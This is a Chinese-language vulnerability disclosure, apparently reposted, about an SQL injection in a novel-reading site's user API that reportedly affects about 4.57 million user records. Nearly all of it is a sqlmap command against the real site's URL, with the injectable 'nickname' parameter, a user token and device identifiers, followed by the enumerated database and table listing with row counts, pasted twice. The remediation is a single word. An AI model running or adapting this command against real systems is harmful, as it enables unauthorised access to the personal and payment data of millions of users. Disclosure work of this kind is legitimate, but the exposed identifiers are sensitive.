小说阅读网某处SQL注入涉及457w用户信息
程序员文章站
2022-03-23 11:17:49
RT
E:\sqlmap>sqlmap.py -u "http://opendata.readnovel.com/web/user.php?a=update_user...
RT
E:\sqlmap>sqlmap.py -u "http://opendata.readnovel.com/web/user.php?a=update_user _info&uid=60179539&token=dba9e9e37c&tel=&email=&nickname=4238&sex=&ct=android&da ta=json&pt=client&v=140&imei=864690023834800&srcid=qq&uid=60179539&userid=601795 39&v=140&ct=android&pt=client&srcid=qq&mac_address=02:00:00:00:00:00&imei=864690 023834800&versionname=4.0.0&model=MI3W&pix=1080*1920&system_release=6.0.1&op=CMC C&activate_code=2016051602583662998600DJZL&language=0" -D newuc -T user_info --c olumns -------参数nickname---
数据库信息 available databases [4]: [*] `ncwq\x02` [*] information_schema [*] mysql [*] newuc
当前库表信息 user_info | 4577435 | Database: newuc +--------------------------------------+---------+ | Table | Entries | +--------------------------------------+---------+ | pay_expend_log | 205367014 | | user_paid_singlebook | 166951129 | | user_single_visit | 93267094 | | pay_order_log | 41009381 | | task_daily | 40657011 | | user_sign_activity | 34592567 | | user_score_add_log | 30218215 | | system_msg_status | 20843500 | | award_msg | 18345760 | | user_attention | 12271643 | | user_paid_5 | 11564376 | | award_msg_status | 11297310 | | user_visit_detail | 11226661 | | user_paid_22 | 11140516 | | user_paid_75 | 10996294 | | user_paid_90 | 10956183 | | user_paid_20 | 10859449 | | user_paid_1 | 10851577 | | user_paid_43 | 10848240 | | user_paid_77 | 10845670 | | user_paid_84 | 10842284 | | user_paid_46 | 10835214 | | user_paid_11 | 10828751 | | user_paid_92 | 10818311 | | user_paid_47 | 10804903 | | user_paid_53 | 10766280 | | user_paid_66 | 10748825 | | user_paid_15 | 10742344 | | user_paid_21 | 10730124 | | user_paid_30 | 10714957 | | user_paid_70 | 10713702 | | user_paid_48 | 10702062 | | user_paid_12 | 10694111 | | user_paid_27 | 10678965 | | user_paid_44 | 10632472 | | user_paid_97 | 10623571 | | user_paid_86 | 10611174 | | user_paid_16 | 10610156 | | user_paid_29 | 10609399 | | user_paid_42 | 10575302 | | user_paid_69 | 10574212 | | user_paid_8 | 10570203 | | user_paid_40 | 10567145 | | user_paid_88 | 10561514 | | user_paid_83 | 10560850 | | user_paid_26 | 10546742 | | user_paid_52 | 10545737 | | user_paid_23 | 10538577 | | user_paid_7 | 10525017 | | user_paid_95 | 10521665 | | user_paid_14 | 10515157 | | user_paid_87 | 10514109 | | user_paid_32 | 10494317 | | user_paid_59 | 10476893 | | user_paid_72 | 10472275 | | user_paid_3 | 10471612 | | user_paid_45 | 10471019 | | user_paid_85 | 10462366 | | user_paid_94 | 10454878 | | user_paid_58 | 10454325 | | user_paid_18 | 10452546 | | user_paid_91 | 10446261 | | user_paid_41 | 10433678 | | user_paid_81 | 10430706 | | user_paid_98 | 10420251 | | user_paid_51 | 10419973 | | user_paid_64 | 10419597 | | user_paid_56 | 10414576 | | user_paid_19 | 10411339 | | user_paid_38 | 10409142 | | user_paid_71 | 10406400 | | user_paid_67 | 10388013 | | user_paid_93 | 10384575 | | user_paid_61 | 10381603 | | user_paid_99 | 10373408 | | user_paid_68 | 10369486 | | user_paid_39 | 10365896 | | user_paid_13 | 10340156 | | user_paid_34 | 10319512 | | user_paid_35 | 10311584 | | user_paid_24 | 10303810 | | user_paid_4 | 10287899 | | user_paid_2 | 10261545 | | user_paid_74 | 10247634 | | user_paid_6 | 10244540 | | user_paid_10 | 10241835 | | user_paid_78 | 10241076 | | user_paid_9 | 10239012 | | user_paid_60 | 10191479 | | user_paid_76 | 10184813 | | user_paid_73 | 10184234 | | user_paid_54 | 10146843 | | user_paid_49 | 10143100 | | user_paid_37 | 10133821 | | user_paid_79 | 10128351 | | user_paid_50 | 10114566 | | user_paid_17 | 10104671 | | user_paid_96 | 10070994 | | user_paid_28 | 10054990 | | user_paid_62 | 10039092 | | user_paid_33 | 10030816 | | user_paid_63 | 10026574 | | user_paid_89 | 10008487 | | user_paid_80 | 10007214 | | user_paid_65 | 9995436 | | user_paid_57 | 9978247 | | user_paid_36 | 9945938 | | user_paid_82 | 9906781 | | user_paid_25 | 9876614 | | user_paid_0 | 9685536 | | user_paid_31 | 9410236 | | user_config | 8054025 | | user_stat | 6695338 | | user_info | 4577435 | | user_autosub | 4139911 | | task_newer | 3780617 | | user_prize4_book | 3061928 | | inform_msg_status | 2725033 | | system_msg | 2530431 | | user_prepare_paid_singlebook | 2341524 | | pay_expend_log_2012_tmp1 | 2193205 | | user_score | 2133842 | | user_visit | 1782049 | | user_article_expend | 1635138 | | user_prize_info | 1632797 | | user_author_expend | 1456297 | | newsystem_msg_status | 1419325 | | user_sign_activity_continuous | 1229414 | | user_prize_book | 1206276 | | user_sign_activity_extend | 1152967 | | user_vip_config | 1112934 | | user_discount_book | 956946 | | user_one_time_show | 889689 | | user_icon_log | 857007 | | user_a_key_register | 730663 | | user_daily_report | 635701 | | user_icon_day_log | 507567 | | user_mood | 347459 | | user_icon_status | 340685 | | user_noad_log | 330930 | | user_daily_report_log | 314799 | | user_noad_month_log | 311745 | | user_noad_status | 282891 | | user_noad_read_status | 272161 | | user_question_activity_1111 | 266676 | | user_close | 232204 | | user_prize2_book | 206175 | | user_noad_read_num | 188195 | | author_info | 179813 | | user_wap_privilege_log | 163580 | | user_prize | 158780 | | user_wap_discount_book | 152297 | | user_update_tx | 138712 | | user_prize2_info_2011 | 133933 | | user_prize2_log_2011 | 103543 | | user_prize3 | 99057 | | user_ios_integral | 98011 | | user_prize_info3 | 91581 | | user_score_expend | 73910 | | user_friendly_order | 61619 | | user_prize2_2011 | 58287 | | user_prop | 57976 | | user_month_log | 56646 | | mm_pk_vote | 45496 | | inform_msg | 44976 | | user_weixin_subscribe_log | 43073 | | user_month_status | 34539 | | user_weixin_subscribe | 28734 | | user_prize2_log | 26498 | | user_fence_book | 25979 | | user_prize2_info_201203 | 23391 | | user_prize2_log_201203 | 19329 | | user_mystery_gift_activity | 17758 | | user_click_activity | 17217 | | user_wap_pack_log | 16339 | | task_activity | 14967 | | article_subcount | 13132 | | user_prize_log | 13013 | | user_prize2_201203 | 11565 | | user_wap_pack_status | 10603 | | user_weixin_lottery | 10473 | | user_lottery_ticket_purchase_history | 8576 | | user_weixin_binding | 7282 | | user_book_recommend_stat | 7206 | | user_daily_report_activity | 6528 | | user_activity_cny | 6507 | | user_icon_month_log | 5758 | | user_prize2_info | 3711 | | user_noad_read_opinion | 3050 | | user_send_coin_activity | 2095 | | user_activity_info | 1437 | | user_sign_activity_prize | 1122 | | user_icon_week_log | 644 | | question_activity_1111 | 354 | | user_activity_book | 316 | | user_stat_top | 300 | | user_score_suggestion | 249 | | user_paid_55 | 108 | | user_prop_compound_log | 98 | | newsystem_msg | 82 | | user_attention_day | 58 | | user_custom_reply_news | 34 | | user_app | 11 | | user_score_order | 10 | | user_custom_menu | 5 | | user_apply_unsub_month | 1 | | user_read_style | 1 | +--------------------------------------+------
E:\sqlmap>sqlmap.py -u "http://opendata.readnovel.com/web/user.php?a=update_user _info&uid=60179539&token=dba9e9e37c&tel=&email=&nickname=4238&sex=&ct=android&da ta=json&pt=client&v=140&imei=864690023834800&srcid=qq&uid=60179539&userid=601795 39&v=140&ct=android&pt=client&srcid=qq&mac_address=02:00:00:00:00:00&imei=864690 023834800&versionname=4.0.0&model=MI3W&pix=1080*1920&system_release=6.0.1&op=CMC C&activate_code=2016051602583662998600DJZL&language=0" -D newuc -T user_info --c olumns -------参数nickname---
数据库信息 available databases [4]: [*] `ncwq\x02` [*] information_schema [*] mysql [*] newuc
当前库表信息 user_info | 4577435 | Database: newuc +--------------------------------------+---------+ | Table | Entries | +--------------------------------------+---------+ | pay_expend_log | 205367014 | | user_paid_singlebook | 166951129 | | user_single_visit | 93267094 | | pay_order_log | 41009381 | | task_daily | 40657011 | | user_sign_activity | 34592567 | | user_score_add_log | 30218215 | | system_msg_status | 20843500 | | award_msg | 18345760 | | user_attention | 12271643 | | user_paid_5 | 11564376 | | award_msg_status | 11297310 | | user_visit_detail | 11226661 | | user_paid_22 | 11140516 | | user_paid_75 | 10996294 | | user_paid_90 | 10956183 | | user_paid_20 | 10859449 | | user_paid_1 | 10851577 | | user_paid_43 | 10848240 | | user_paid_77 | 10845670 | | user_paid_84 | 10842284 | | user_paid_46 | 10835214 | | user_paid_11 | 10828751 | | user_paid_92 | 10818311 | | user_paid_47 | 10804903 | | user_paid_53 | 10766280 | | user_paid_66 | 10748825 | | user_paid_15 | 10742344 | | user_paid_21 | 10730124 | | user_paid_30 | 10714957 | | user_paid_70 | 10713702 | | user_paid_48 | 10702062 | | user_paid_12 | 10694111 | | user_paid_27 | 10678965 | | user_paid_44 | 10632472 | | user_paid_97 | 10623571 | | user_paid_86 | 10611174 | | user_paid_16 | 10610156 | | user_paid_29 | 10609399 | | user_paid_42 | 10575302 | | user_paid_69 | 10574212 | | user_paid_8 | 10570203 | | user_paid_40 | 10567145 | | user_paid_88 | 10561514 | | user_paid_83 | 10560850 | | user_paid_26 | 10546742 | | user_paid_52 | 10545737 | | user_paid_23 | 10538577 | | user_paid_7 | 10525017 | | user_paid_95 | 10521665 | | user_paid_14 | 10515157 | | user_paid_87 | 10514109 | | user_paid_32 | 10494317 | | user_paid_59 | 10476893 | | user_paid_72 | 10472275 | | user_paid_3 | 10471612 | | user_paid_45 | 10471019 | | user_paid_85 | 10462366 | | user_paid_94 | 10454878 | | user_paid_58 | 10454325 | | user_paid_18 | 10452546 | | user_paid_91 | 10446261 | | user_paid_41 | 10433678 | | user_paid_81 | 10430706 | | user_paid_98 | 10420251 | | user_paid_51 | 10419973 | | user_paid_64 | 10419597 | | user_paid_56 | 10414576 | | user_paid_19 | 10411339 | | user_paid_38 | 10409142 | | user_paid_71 | 10406400 | | user_paid_67 | 10388013 | | user_paid_93 | 10384575 | | user_paid_61 | 10381603 | | user_paid_99 | 10373408 | | user_paid_68 | 10369486 | | user_paid_39 | 10365896 | | user_paid_13 | 10340156 | | user_paid_34 | 10319512 | | user_paid_35 | 10311584 | | user_paid_24 | 10303810 | | user_paid_4 | 10287899 | | user_paid_2 | 10261545 | | user_paid_74 | 10247634 | | user_paid_6 | 10244540 | | user_paid_10 | 10241835 | | user_paid_78 | 10241076 | | user_paid_9 | 10239012 | | user_paid_60 | 10191479 | | user_paid_76 | 10184813 | | user_paid_73 | 10184234 | | user_paid_54 | 10146843 | | user_paid_49 | 10143100 | | user_paid_37 | 10133821 | | user_paid_79 | 10128351 | | user_paid_50 | 10114566 | | user_paid_17 | 10104671 | | user_paid_96 | 10070994 | | user_paid_28 | 10054990 | | user_paid_62 | 10039092 | | user_paid_33 | 10030816 | | user_paid_63 | 10026574 | | user_paid_89 | 10008487 | | user_paid_80 | 10007214 | | user_paid_65 | 9995436 | | user_paid_57 | 9978247 | | user_paid_36 | 9945938 | | user_paid_82 | 9906781 | | user_paid_25 | 9876614 | | user_paid_0 | 9685536 | | user_paid_31 | 9410236 | | user_config | 8054025 | | user_stat | 6695338 | | user_info | 4577435 | | user_autosub | 4139911 | | task_newer | 3780617 | | user_prize4_book | 3061928 | | inform_msg_status | 2725033 | | system_msg | 2530431 | | user_prepare_paid_singlebook | 2341524 | | pay_expend_log_2012_tmp1 | 2193205 | | user_score | 2133842 | | user_visit | 1782049 | | user_article_expend | 1635138 | | user_prize_info | 1632797 | | user_author_expend | 1456297 | | newsystem_msg_status | 1419325 | | user_sign_activity_continuous | 1229414 | | user_prize_book | 1206276 | | user_sign_activity_extend | 1152967 | | user_vip_config | 1112934 | | user_discount_book | 956946 | | user_one_time_show | 889689 | | user_icon_log | 857007 | | user_a_key_register | 730663 | | user_daily_report | 635701 | | user_icon_day_log | 507567 | | user_mood | 347459 | | user_icon_status | 340685 | | user_noad_log | 330930 | | user_daily_report_log | 314799 | | user_noad_month_log | 311745 | | user_noad_status | 282891 | | user_noad_read_status | 272161 | | user_question_activity_1111 | 266676 | | user_close | 232204 | | user_prize2_book | 206175 | | user_noad_read_num | 188195 | | author_info | 179813 | | user_wap_privilege_log | 163580 | | user_prize | 158780 | | user_wap_discount_book | 152297 | | user_update_tx | 138712 | | user_prize2_info_2011 | 133933 | | user_prize2_log_2011 | 103543 | | user_prize3 | 99057 | | user_ios_integral | 98011 | | user_prize_info3 | 91581 | | user_score_expend | 73910 | | user_friendly_order | 61619 | | user_prize2_2011 | 58287 | | user_prop | 57976 | | user_month_log | 56646 | | mm_pk_vote | 45496 | | inform_msg | 44976 | | user_weixin_subscribe_log | 43073 | | user_month_status | 34539 | | user_weixin_subscribe | 28734 | | user_prize2_log | 26498 | | user_fence_book | 25979 | | user_prize2_info_201203 | 23391 | | user_prize2_log_201203 | 19329 | | user_mystery_gift_activity | 17758 | | user_click_activity | 17217 | | user_wap_pack_log | 16339 | | task_activity | 14967 | | article_subcount | 13132 | | user_prize_log | 13013 | | user_prize2_201203 | 11565 | | user_wap_pack_status | 10603 | | user_weixin_lottery | 10473 | | user_lottery_ticket_purchase_history | 8576 | | user_weixin_binding | 7282 | | user_book_recommend_stat | 7206 | | user_daily_report_activity | 6528 | | user_activity_cny | 6507 | | user_icon_month_log | 5758 | | user_prize2_info | 3711 | | user_noad_read_opinion | 3050 | | user_send_coin_activity | 2095 | | user_activity_info | 1437 | | user_sign_activity_prize | 1122 | | user_icon_week_log | 644 | | question_activity_1111 | 354 | | user_activity_book | 316 | | user_stat_top | 300 | | user_score_suggestion | 249 | | user_paid_55 | 108 | | user_prop_compound_log | 98 | | newsystem_msg | 82 | | user_attention_day | 58 | | user_custom_reply_news | 34 | | user_app | 11 | | user_score_order | 10 | | user_custom_menu | 5 | | user_apply_unsub_month | 1 | | user_read_style | 1 | +--------------------------------------+------
解决方案:
过滤